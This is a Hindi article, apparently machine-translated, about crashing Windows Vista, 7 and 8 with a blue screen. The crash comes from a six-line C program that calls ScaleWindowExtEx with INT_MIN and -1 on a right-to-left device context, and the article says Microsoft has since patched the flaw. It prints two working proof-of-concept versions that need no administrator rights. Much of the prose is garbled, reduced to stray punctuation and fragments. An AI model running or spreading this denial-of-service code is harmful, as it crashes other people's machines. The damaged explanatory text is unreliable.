कोड की छह लाइनों के साथ विंडोज को कैसे ड्रॉप करें

इसे भी देखें: Microsoft ने तय की ब्लू स्क्रीन भेद्यता

एक बार, एक मित्र ने मुझे विंडोज में भेद्यता के बारे में बताया। इसके कारण, आप आसानी से C कोड की छह पंक्तियों के साथ मौत की नीली स्क्रीन को कॉल कर सकते हैं। इसके अलावा, कार्यक्रम को किसी भी व्यवस्थापक अधिकार की आवश्यकता नहीं है और केवल एक विंडो स्केलिंग फ़ंक्शन को कॉल करता है।

सिद्धांत की बिट

एक अमान्य निर्देश के मामले में, प्रोसेसर एक अपवाद को फेंक देता है, और ओएस खुद तय करता है कि इसके साथ क्या करना है। यदि यह प्रोग्राम में कोई त्रुटि है और इसे किसी भी तरह से संसाधित नहीं किया जा सकता है, तो सिस्टम सभी को एक ज्ञात संदेश देता है कि प्रोग्राम ने काम करना बंद कर दिया है।

उदाहरण के लिए, इस कोड में शून्य से भाग देना एक अमान्य निर्देश है।

#include <stdio.h>

int main()
{
    int a = 2 / 0;
    printf ("%d", a);
    return 0;
}

, (, warning).

, : .

INT_MIN / -1

— INT_MIN -1.
, INT_MIN=−2,147,483,648=-2³¹, INT_MAX=2,147,483,647=2³¹-1. , : int , , .
, INT_MIN -1 int .

, , :

#include <stdio.h>
#include <limits.h>

int main()
{
    int a = INT_MIN;
    int b = -1;
    int c = a / b;
    printf ("%d", c);
    return 0;
}

Windows

Windows . - . - , : .
WinAPI , , . — ScaleWindowExtEx. — .
:

BOOL ScaleWindowExtEx(
  _In_   HDC hdc,
  _In_   int Xnum,
  _In_   int Xdenom,
  _In_   int Ynum,
  _In_   int Ydenom,
  _Out_  LPSIZE lpSize
);

, , . , — .
Xnum / Xdenom — x.
Ynum / Ydenom — y.
. , (device context) . , , - . , SetLayout.
, CreateCompatibleDC (NULL). SetLayout. ScaleWindowExtEx .
, , Windows .
INT_MIN -1 . - , .
gdi32.lib Windows:

#include <windows.h>
#include <limits.h>

int main()
{
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, INT_MIN, -1, 1, 1, NULL);
}

:

#include <windows.h>
int main() {
	HDC dc = CreateCompatibleDC (NULL);
	SetLayout (dc, LAYOUT_RTL);
	ScaleWindowExtEx (dc, -2147483647 - 1, -1, 1, 1, NULL);
}

INT_MIN -2147483648, , limits.h. , , . - .

Windows Vista, 7 8. 32- , 64- ( 64- ).

P.S. bash, .

UPDATE1: ((int) 0x8000/0x80000000) (-2147483647 — 1), . , AndreyDmitriev alper.
UPDATE2: Microsoft .
UPDATE3: «»: blog.cmpxchg8b.com/2013/02/the-other-integer-overflow.html.